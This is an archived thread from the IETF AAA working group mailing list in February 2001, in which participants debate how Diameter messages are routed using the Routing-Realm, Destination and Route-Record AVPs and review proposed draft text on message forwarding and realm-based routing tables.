(darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id JAA00545; Mon, 12 Feb 2001 09:25:57 -0800 (PST) Date: Mon, 12 Feb 2001 09:25:57 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs To: David Spence Cc: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <3A881B2F.B15EE9E7@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > >... > > Indication messages are just like request and queries. They will be routed > > based on the User-Name, or the Routing-Realm AVP. The Host-Name is present, > > but only for information, and no routing is performed based on this AVP. > > How about server-to-client Indication messages? The realm in the User-Name > points the wrong way (to the home organization or server, not the service > provider or client). The only use for Routing-Realm specified in Alpha2 was > in place of User-Name for client-to-server messages. So how are > server-to-client messages routed? I thought they were routed using the > Host-Name AVP which prior to your proposal contained a realm. check. The text reads that the Routing-Realm takes precedence over the User-name AVP. So, for server initiated messages, the routing-realm would contain the domain portion of the Host-name AVP for the particular session. > > >... > > I see the confusion. The new text would state that routing of request, queries > > or indication messages is done through: - Routing-Realm AVP > > - User-Name AVP > > > > When the domain portion of the AVP is determined to be local, then the server > > looks for the Destination AVP to see if the message needs to be routed to a > > particular server within the domain. Think of this as the difference between > > forwarding a packet based on its ARP address, as opposed to routing a packet. > > So AVPs containing FQDNs are only used for routing at the last hop. O.K. Right, and the text must makes this very clear. > > > > > Now, the justification: > > - All Responses and Answers are forwarded using the Record-Route AVP. The > > You mean Route-Record AVP. aaaarrrgggg... I always get this wrong :( > > > > > One possibility is that you could create an AVP of type Grouped that would > > > contain two AVPs: one indicating the realm and the other the FQDN. The > > > realm would be used for routing at all but the last hop, and the FQDN would > > > be used for the last hop routing decision. > > > > Sure, but the Routing-Realm or User-Name is *already* present. Why another AVP? > > I wasn't sure they were always present. And anyway, how do server-to-client > Indication messages get routed? See above. Routing-Realm gets checked first, prior to User-Name. Server-initiated messages MUST include the Routing-Realm AVP. > > > > I don't believe that some of the messages that currently contain Host-Name > > > or Destination-NAI AVPs currently contain any other AVP encoding the realm > > > to which the message should be routed. For example the STI message contains > > > no other AVP except the Host-Name AVP that could be used for routing. > > > > ::= < Diameter Header: 274 > > > < Session-Id > > > { Host-Name } > > { User-Name } > > { Destination-NAI } > > * [ AVP ] > > * [ Proxy-State ] > > * [ Route-Record ] > > * [ Routing-Realm ] > > 0*1< Integrity-Check-Value > > > > > Ah, but this is a totally different STI definition than the one (Alpha2) I > was looking at. This one has both Route-Record and Routing-Realm. This one was taken from ftp://ftp.isi.edu/internet-drafts/draft-ietf-aaa-diameter-00.txt. Alpha 2 has come and gone :) Would this proposal work for you (assuming, of course, that it is well documented?) PatC From owner-aaa-bof@merit.edu Mon Feb 12 12:46:28 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16188 for ; Mon, 12 Feb 2001 12:46:28 -0500 (EST) Received: by segue.merit.edu (Postfix) id A71E05DE26; Mon, 12 Feb 2001 12:44:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 962885DE25; Mon, 12 Feb 2001 12:44:59 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 76E0A5DE01 for ; Mon, 12 Feb 2001 12:44:58 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 552AF75; Mon, 12 Feb 2001 12:45:09 -0500 (EST) Message-ID: <3A88211A.7F7CA457@Interlinknetworks.com> Date: Mon, 12 Feb 2001 12:44:58 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Drat. I hit send when I meant to hit save on that last message. I wasn't finished with it yet. This one contains everything the last one did, but some more as well. Sorry. Patrice Calhoun wrote: >... > Indication messages are just like request and queries. They will be routed > based on the User-Name, or the Routing-Realm AVP. The Host-Name is present, > but only for information, and no routing is performed based on this AVP. How about server-to-client Indication messages? The realm in the User-Name points the wrong way (to the home organization or server, not the service provider or client). The only use for Routing-Realm specified in Alpha2 was in place of User-Name for client-to-server messages. So how are server-to-client messages routed? I thought they were routed using the Host-Name AVP which prior to your proposal contained a realm. >... > I see the confusion. The new text would state that routing of request, queries > or indication messages is done through: - Routing-Realm AVP > - User-Name AVP > > When the domain portion of the AVP is determined to be local, then the server > looks for the Destination AVP to see if the message needs to be routed to a > particular server within the domain. Think of this as the difference between > forwarding a packet based on its ARP address, as opposed to routing a packet. So AVPs containing FQDNs are only used for routing at the last hop. O.K. > > Now, the justification: > - All Responses and Answers are forwarded using the Record-Route AVP. The You mean Route-Record AVP. > Record-Route AVP contains an FQDN. This format allows a Server to be > dynamically discovered using DNS (or some other mechanism), but does require > that the clients file now contain a host's FQDN instead (or an IP Address > which is resolved at runtime). - Since the clients file (or the structure > created) includes the FQDN, it seems to make sense to change the Destination > to now include the FQDN, and a quick lookup in the clients entries would > determine whether the server can be contacted directly or not. An NAI would > require more work on the part of the software where it would have to dissect > the NAI, construct an FQDN, then perform the clients file lookup. Yes, I'm o.k. with using an FQDN at the last hop. > > > One possibility is that you could create an AVP of type Grouped that would > > contain two AVPs: one indicating the realm and the other the FQDN. The > > realm would be used for routing at all but the last hop, and the FQDN would > > be used for the last hop routing decision. > > Sure, but the Routing-Realm or User-Name is *already* present. Why another AVP? I wasn't sure they were always present. And anyway, how do server-to-client Indication messages get routed? > > I don't believe that some of the messages that currently contain Host-Name > > or Destination-NAI AVPs currently contain any other AVP encoding the realm > > to which the message should be routed. For example the STI message contains > > no other AVP except the Host-Name AVP that could be used for routing. > > ::= < Diameter Header: 274 > > < Session-Id > > { Host-Name } > { User-Name } > { Destination-NAI } > * [ AVP ] > * [ Proxy-State ] > * [ Route-Record ] > * [ Routing-Realm ] > 0*1< Integrity-Check-Value > > ***** Here is where I left off in the previous message. The stuff below is new. ***** Ah, but this is a totally different STI definition than the one (Alpha2) I was looking at. This one has Destination-NAI, Route-Record, and Routing-Realm! So apparently the Routing-Realm can be used in server-to-client messages. This should be stated somewhere. How will the server know what to put in the Routing-Realm since the transaction that established the session contained only Host-Name which now contains FQDN, not realm? And does the Destination-NAI AVP here contain the home server (source of this message) end or the client (destination of this message) end? Also, Route-Record is a problem here in that the rules for Route-Record require it to be used if present. (Route-Record provides a sort of "source route" routing capability.) The problem is that by the time the STI is sent, not all of the proxies in the chain may still be up and the ones that are up and played games with the Route-Record as specified somewhere in Alpha2 may no longer have the state required to complete the routing? > > > > I think routing on the FQDNs themselves (except at the last hop) is a bad > > idea for the following reasons: > > > > 1) Creating a route table for FQDNs I think would be very difficult. What > > part of the FQDN do I route on? With an NAI, I route on the part after the > > @ sign except at the last hop. > > Again, messages are not routed based on the FQDN. Messages are only forwarded > to the host, if the host in the FQDN AVP is recognized as being one that the > local server can communicate with directly. O.K. I understand that now. >... > > > > Another possibility is that you could use something like the Record-Route I meant Route-Record. :) > > system for routing on FQDNs. Then there is no need for an FQDN routing > > table, and all messages of a session take the same route. But sessions may > > be long-lived, so this idea creates backup-recovery problems. > > Again, the Destination AVP does introduce a backup-recovery problem, and MUST > only be used when the destination is fixed. Messages like the STI fall under > this category. > > > > > In conclusion, if I've recreated your line of thinking properly, then I > > really don't like the above proposal and would prefer to keep using NAIs. > > But, of course, I may have misunderstood entirely. > > Now that I've cleared it up, please let me know what you think. I think there is still a problem in the server-to-client direction. I think that there are way too many AVPs involved in routing, but more on that in another message perhaps. > > Thanks for the feedback, and agfain I appologize for not justifying my > proposal. > > PatC O.K., Now I'll send it. -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 12:55:50 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA16475 for ; Mon, 12 Feb 2001 12:55:50 -0500 (EST) Received: by segue.merit.edu (Postfix) id CBD0A5DE08; Mon, 12 Feb 2001 12:55:32 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BA7345DE01; Mon, 12 Feb 2001 12:55:32 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 78E985DD97 for ; Mon, 12 Feb 2001 12:55:31 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 971B075; Mon, 12 Feb 2001 12:55:42 -0500 (EST) Message-ID: <3A882393.88B99006@Interlinknetworks.com> Date: Mon, 12 Feb 2001 12:55:31 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: David Frascone , aaa-wg@merit.edu, diameter@diameter.org Subject: [AAA-WG]: Re: [diameter] Re: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: > > > David, > > > > I'm not sure if you fully see what my issue is. My issue is how do proxies > > "route" Diameter messages? If you route on User-Name, then you have a realm > > routing table that routes on names selected from the realm name-space. If > > you had to route on a Destination AVP and that AVP contains an FQDN, then > > you would be routing on a name selected from the DNS which is a different > > name space. My point is that routing (except perhaps at the last hop) > > should always be on the basis of names selected from the same name space. > > This is *exactly* what I have in mind. NAIs are used thoughout the proxy > chain, until the last hop where FQDN is used. Again, an FQDN is not used > against the routing table, but agains the clients file. Great! > > PatC -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 13:12:53 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17081 for ; Mon, 12 Feb 2001 13:12:52 -0500 (EST) Received: by segue.merit.edu (Postfix) id 689FB5DEF0; Mon, 12 Feb 2001 13:05:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 0FCDC5DDCB; Mon, 12 Feb 2001 13:04:27 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 202C05DE13 for ; Mon, 12 Feb 2001 13:04:19 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 48AB275; Mon, 12 Feb 2001 13:04:30 -0500 (EST) Message-ID: <3A8825A3.A1FD6C9B@Interlinknetworks.com> Date: Mon, 12 Feb 2001 13:04:19 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit See replies interspersed below. Patrice Calhoun wrote: > > > >... > > > Indication messages are just like request and queries. They will be routed > > > based on the User-Name, or the Routing-Realm AVP. The Host-Name is present, > > > but only for information, and no routing is performed based on this AVP. > > > > How about server-to-client Indication messages? The realm in the User-Name > > points the wrong way (to the home organization or server, not the service > > provider or client). The only use for Routing-Realm specified in Alpha2 was > > in place of User-Name for client-to-server messages. So how are > > server-to-client messages routed? I thought they were routed using the > > Host-Name AVP which prior to your proposal contained a realm. > > check. The text reads that the Routing-Realm takes precedence over the > User-name AVP. So, for server initiated messages, the routing-realm would > contain the domain portion of the Host-name AVP for the particular session. O.K. >... > See above. Routing-Realm gets checked first, prior to User-Name. > Server-initiated messages MUST include the Routing-Realm AVP. O.K. > > > > > > > I don't believe that some of the messages that currently contain Host-Name > > > > or Destination-NAI AVPs currently contain any other AVP encoding the realm > > > > to which the message should be routed. For example the STI message contains > > > > no other AVP except the Host-Name AVP that could be used for routing. > > > > > > ::= < Diameter Header: 274 > > > > < Session-Id > > > > { Host-Name } > > > { User-Name } > > > { Destination-NAI } > > > * [ AVP ] > > > * [ Proxy-State ] > > > * [ Route-Record ] > > > * [ Routing-Realm ] > > > 0*1< Integrity-Check-Value > > > > > > > > Ah, but this is a totally different STI definition than the one (Alpha2) I > > was looking at. This one has both Route-Record and Routing-Realm. > > This one was taken from > ftp://ftp.isi.edu/internet-drafts/draft-ietf-aaa-diameter-00.txt. Alpha 2 has > come and gone :) Yeah, I know. But you're putting in some fairly major changes. > > Would this proposal work for you (assuming, of course, that it is well > documented?) Mostly, except for some questions toward the end of the followup message I just sent which you hadn't received yet when you wrote this. > > PatC -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 13:24:12 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17432 for ; Mon, 12 Feb 2001 13:24:11 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9FF865DE01; Mon, 12 Feb 2001 13:23:53 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 8A2A45DDF6; Mon, 12 Feb 2001 13:23:53 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 6643F5DDCB for ; Mon, 12 Feb 2001 13:23:52 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 9C20D73; Mon, 12 Feb 2001 13:24:03 -0500 (EST) Message-ID: <3A882A38.61D3116D@Interlinknetworks.com> Date: Mon, 12 Feb 2001 13:23:52 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: "Martin Julien (ECE)" , aaa-wg@merit.edu Subject: Re: [AAA-WG]: Record-Route on Originating Diameter node (was: Response routing?) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit That would be a good idea. However, there is an issue with Route-Record(!) that I'm not sure has been addressed in all this. Route-Record works great within transactions for routing responses and answers. But it works less well for routing new transactions that take place late in a session because the set of servers that are up may have changed. If they have changed, then there needs to be AVPs within the message by which it can be routed if the Route-Record routing fails. And then, of course, the prohibition on further processing a message if your server name does not appear in the last Route-Record AVP would have to be removed. Patrice Calhoun wrote: > > Correct, having ALL Diameter nodes add their Record-Route AVP would make for a > much more consistent scheme. Do people want/think that NASes and FAs should > add this, and require less special code on the first hop? > > PatC > > I meant the Destination AVP would be used for routing the last HOP, when no > > Route-Record AVP is available, because no other proxies are required to > > route to the originating server. > > > > However, adding a Route-Record AVP in the originating server of Request > > messages would simplify and make more consistent the routing scheme in > > proxies and I think would be much simpler to support, right? > > > > Martin > > > > > -----Original Message----- > > > From: Martin Julien (ECE) [mailto:Martin.Julien@ece.ericsson.se] > > > Sent: Monday, February 12, 2001 5:43 PM > > > To: 'Patrice Calhoun'; Martin Julien > > > Cc: aaa-wg@merit.edu > > > Subject: RE: [AAA-WG]: Re: Response routing? > > > > > > > > > Thanks! That answers my question. > > > > > > However, do you think that we should leave a routing question > > > answered by an application specific implementation, like > > > yours in the first HOP proxy? Should it be specified in the > > > draft that a first HOP proxy should keep a state info so that > > > it can route back the response to the originator? Or possibly > > > the Destination AVP used as the Destination Host-Name or the > > > originator of the request? > > > > > > Only as a suggestion, would it be nice to have the Host-Name > > > AVP replaced by Orig-Host-Name AVP, and the Destination AVP > > > replaced by Dest-Host-Name AVP. > > > > > > Martin > > > > > > > -----Original Message----- > > > > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > > > > Sent: Monday, February 12, 2001 4:56 PM > > > > To: Martin Julien > > > > Cc: David Spence; aaa-wg@merit.edu; Patrice Calhoun > > > > Subject: [AAA-WG]: Re: Response routing? > > > > > > > > > > > > > Hi, > > > > > > > > > > Tell me if I'm wrong, but I thought that routing responses from a > > > > > Diameter node was based on (as in -18 Base draft): > > > > > > > > > > 1) If there are Route-Record AVPs in the request (Query) > > > > message, the > > > > > last Route-Record AVP is used as the first HOP destination > > > > of the reply. > > > > > So the Route-Record AVPs are used until the last proxy before the > > > > > originator of the request. However, from there, what AVP is > > > > used for > > > > > routing to the originator node? > > > > > > > > What I do, is that the first hop inserts a Proxy-State AVP. In the > > > > Proxy-State-Info AVP, I include the FQDN of the originator of > > > > the request. > > > > Then I add my Record-Route AVP. > > > > > > > > > > > > > > 2) If there is no Route-Record AVPs in the request, then > > > > the reply is > > > > > sent back to the originator of the request using the > > > > Host-Name AVP of > > > > > the request as the destination. However, this routing is > > > > done at the IP > > > > > level only, right? > > > > Not using the Host-Name AVP. I insert the value of the > > > > Host-Name AVP in my > > > > Proxy-State-Info AVP. I am not sure what you mean by IP level > > > > only, though. > > > > This is all application level routing. > > > > > > > > > The STA (in the -18 draft of the Base protocol) defines the > > > > > Routing-Realm AVP in its list of optional AVP in its > > > > message structure. > > > > > This is very confusing to me, since it suggests that > > > > replies might not > > > > > have to go through the same proxies. I guess responses > > > > should never use > > > > > the Routing-Realm AVP. > > > > > > > > That is correct, and I need to fix that up. Thanks for > > > > pointing this error out > > > > to me. > > > > > > > > > > > > > > I thought that Proxy-State AVPs were not used for routing, > > > > or are they? > > > > > Are we suggesting that each proxy defines a Proxy-State AVP > > > > or keeps an > > > > > internal state so that it knows how to route back messages to the > > > > > originator? > > > > > > > > A proxy can put pretty much whatever it wants in the > > > > Proxy-State AVP. Right > > > > now, my code just adds the FQDN, but in the future I may need > > > > to also insert > > > > additional data. The Proxy-State is not used for routing > > > > per-say, but if one > > > > puts the information needed to route the message, then it could be. > > > > > > > > However, the use of the Proxy-State is implementation specific. > > > > > > > > > Can we really have a stateless proxy?, or is it a proxy > > > > that forwards a > > > > > Proxy-State AVP? > > > > my proxy is currently stateless. > > > > > > > > PatC > > > > > > > > > > > -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 13:29:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17530 for ; Mon, 12 Feb 2001 13:28:59 -0500 (EST) Received: by segue.merit.edu (Postfix) id AF6C95DE13; Mon, 12 Feb 2001 13:28:40 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9DD215DE10; Mon, 12 Feb 2001 13:28:40 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 803C35DDCB for ; Mon, 12 Feb 2001 13:28:39 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id A3AD173; Mon, 12 Feb 2001 13:28:50 -0500 (EST) Message-ID: <3A882B57.B896A50@Interlinknetworks.com> Date: Mon, 12 Feb 2001 13:28:39 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: Barney Wolff , David Frascone , aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: > > > And suppose my proxy behaves like the 800-lb gorilla? Since you > > can't enforce any particular routing algorithm on a proxy, and > > can't even do a good job of detecting "violations" from upstream, > > why try to specify it? > > I think that one of the fundamental problems with RADIUS is it's lack of > specification in proxying. I believe that it doesn't hurt to "suggest" how a > proxy can route packets, and let the more experienced developers come up with > better scheme. This way we can assume that all Diameter implementations will > at least do what the protocol was intended to do. > > PatC My concern is that the protocol carry the information required to make fairly complex proxying possible for a variety of different kinds of proxies -- stateful and stateless, routing and broker, etc. I certainly don't mean to limit how it can be done. -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 14:05:39 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18710 for ; Mon, 12 Feb 2001 14:05:34 -0500 (EST) Received: by segue.merit.edu (Postfix) id 3BF615DEE2; Mon, 12 Feb 2001 14:03:38 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 24F405DEE4; Mon, 12 Feb 2001 14:03:38 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id E951C5DEE2 for ; Mon, 12 Feb 2001 14:03:36 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA29275; Mon, 12 Feb 2001 11:03:36 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA25149; Mon, 12 Feb 2001 11:03:35 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id LAA02464; Mon, 12 Feb 2001 11:03:34 -0800 (PST) Date: Mon, 12 Feb 2001 11:03:33 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Message Forwarding and Routing Proposed text To: aaa-wg@merit.edu, diameter@diameter.org Cc: David Spence In-Reply-To: "Your message with ID" <3A882B57.B896A50@Interlinknetworks.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Here is my first try at some proposed text to handle what we've been discussing so far (pardon the section numbers). I would appreciate some comments on the text. PatC ---- [...] y.z Message Forwarding When a Diameter entity receives a Diameter message of type Request, Query or Indication that includes a Destination AVP, and the host specified in the AVP can be contacted directly, the message MUST be forwarded to the host in question. The Destination AVP is used when the destination of the message is fixed, such as: - Authentication requests that span multiple round trips - A Diameter message that uses a security mechanism that makes use of a pre-established session key shared between the source and the final destination of the message. - Server initiated messages that MUST be received by a specific Diameter client (e.g. NAS), such as the Session-Termination-Ind message, which is used to request that a particular user's session be terminated. Proxies receiving messages that contain the Destination AVP MUST verify whether they are able to forward Diameter messages to the host specified in the AVP, and if so, MUST forward the message to the host Calhoun et al. expires July 2001 [Page 37] Internet-Draft February 2001 in question. Otherwise, the message routing procedures described in section 8.0 MUST be followed. y.z.1 Destination AVP The Destination AVP (AVP Code 293) [1] is of type OctetString, and contains the Fully Qualified Domain Name (FQDN) of the intended recipient of the message. This AVP MUST be present in all unsolicited server initiated messages. 8.0 Message Routing This section describes the expected behavior of a Diameter server acting as a proxy or redirect server. 8.1 Realm-Based Message Routing Diameter request, query and indication message routing is done through the use of the realm portion of the Network Access Identifier (NAI), and an associated realm routing table (see section 8.1.1). The NAI has a format of user@realm, and Diameter servers have a list of locally supported realms, and MAY have a list of externally supported realms. When a request, query or indication message is received that includes a realm that is not locally supported, the message is proxied to the Diameter entity configured in the "route" table. Figure 2 depicts an example where DIA1 receives a request to authenticate user "joe@abc.com". DIA1 looks up "abc.com" in its local realm route table and determines that the message must be proxied to DIA2. DIA2 does the same check, and proxies the message to DIA3. DIA3 checks its realm route table, and determines that the realm is locally supported, and processes the authentication request, and returns the response. How the response actually makes it back to the sender of the original request is described in the next section. Calhoun et al. expires July 2001 [Page 38] Internet-Draft February 2001 (Request) (Request) (User-Name=joe@abc.com) (User-Name=joe@abc.com) +------+ ------> +------+ ------> +------+ | | | | | | | DIA1 +-------------------+ DIA2 +-------------------+ DIA3 | | | | | | | +------+ <------ +------+ <------ +------+ (Response) (Response) (User-Name=joe@abc.com) (User-Name=joe@abc.com) mno.net xyz.com abc.com Figure 2: Realm-Based Routing Note the processing rules contained in this section are intended to be used as general guidelines to Diameter developers. Certain implementations MAY use different methods than the ones described here, and still be in compliance with the protocol specification. 8.1.1 Realm-Based Routing Table All Realm-Based routing lookups are performed against what is commonly known as the Domain Routing Table (see section 13.0). A Domain Routing Table Entry contains the following fields: - Domain Name. The Domain Name is analogous to the realm portion of the NAI. This is the field that is typically used as a primary key in the routing table lookups. Note that some implementations perform their lookups based on longest-match- from-the-right on the realm rather than requiring an exact match. - Extension Id. It is possible for a routing entry to have a different destination based on the extension identifier of the message. This field is typically used as a secondary key field in routing table lookups. - Local Action. The Local Action field is used to identify how a message should be treated. The following actions are supported: 1. LOCAL - Diameter messages that resolve to a routing entry with the Local Action set to Local can be satisfied locally, and do not need to be forwarded to another server. 2. PROXY - All Diameter messages that fall within this category MUST be forwarded to a next hop server. The local server MAY apply its local policies to the message by including new AVPs to the message prior to forwarding. See section 8.4 for more information. 3. REDIRECT - Diameter messages that fall within this category MUST have the identity of the home Diameter server(s) appended, and returned to the sender of the Calhoun et al. expires July 2001 [Page 39] Internet-Draft February 2001 message. See section 8.3 for more information. - Server Identifier - One or more servers the message is to be forwarded to. When the Local Action is set to PROXY, this field contains the identities of the server(s) the message must be forwarded to. When the Local Action field is set to REDIRECT, this field contains the Home Diameter server(s) for the realm. It is important to note that Diameter servers MUST support at least one of the PROXY, REDIRECT, or LOCAL modes of operation. Servers do not need to support all modes of operation in order to conform with the protocol specification. Servers MUST NOT reorder AVPs with the same AVP Code. 8.2 Proxy and Redirect Server handling of requests When a message of type request, query or indication is received by a proxy or redirect server, and it is determined that the request cannot be locally handled, the next hop for the request is determined in the following order: 1. If the Destination AVP is present, and the host specified in the AVP can be directly contacted, the message is forwarded to the host (see section y.z for more information) 2. If the Routing-Realm AVP is present, a routing table lookup is performed using the domain specific in the AVP, or 3. A routing table lookup is performed using the domain portion of the NAI found in the User-name AVP. A message that does not contain any of the above AVPs MUST NOT be routed. If the message in question cannot be handled locally, a Message-Reject-Ind is sent with the Result-Code AVP set to an appropriate error condition. [...] From owner-aaa-bof@merit.edu Mon Feb 12 14:54:05 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19974 for ; Mon, 12 Feb 2001 14:54:05 -0500 (EST) Received: by segue.merit.edu (Postfix) id 74EDD5DE10; Mon, 12 Feb 2001 14:52:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 104595DE3D; Mon, 12 Feb 2001 14:52:59 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id D62E95DE10 for ; Mon, 12 Feb 2001 14:52:57 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 09A9772; Mon, 12 Feb 2001 14:53:08 -0500 (EST) Message-ID: <3A883F19.84B98FB4@Interlinknetworks.com> Date: Mon, 12 Feb 2001 14:52:57 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit O.k. Here are a few comments. See below. Patrice Calhoun wrote: > > Here is my first try at some proposed text to handle what we've been > discussing so far (pardon the section numbers). I would appreciate some > comments on the text. > > PatC > ---- > > [...] > > y.z Message Forwarding > > When a Diameter entity receives a Diameter message of type Request, > Query or Indication that includes a Destination AVP, and the host > specified in the AVP can be contacted directly, the message MUST be > forwarded to the host in question. > > The Destination AVP is used when the destination of the message is > fixed, such as: > > - 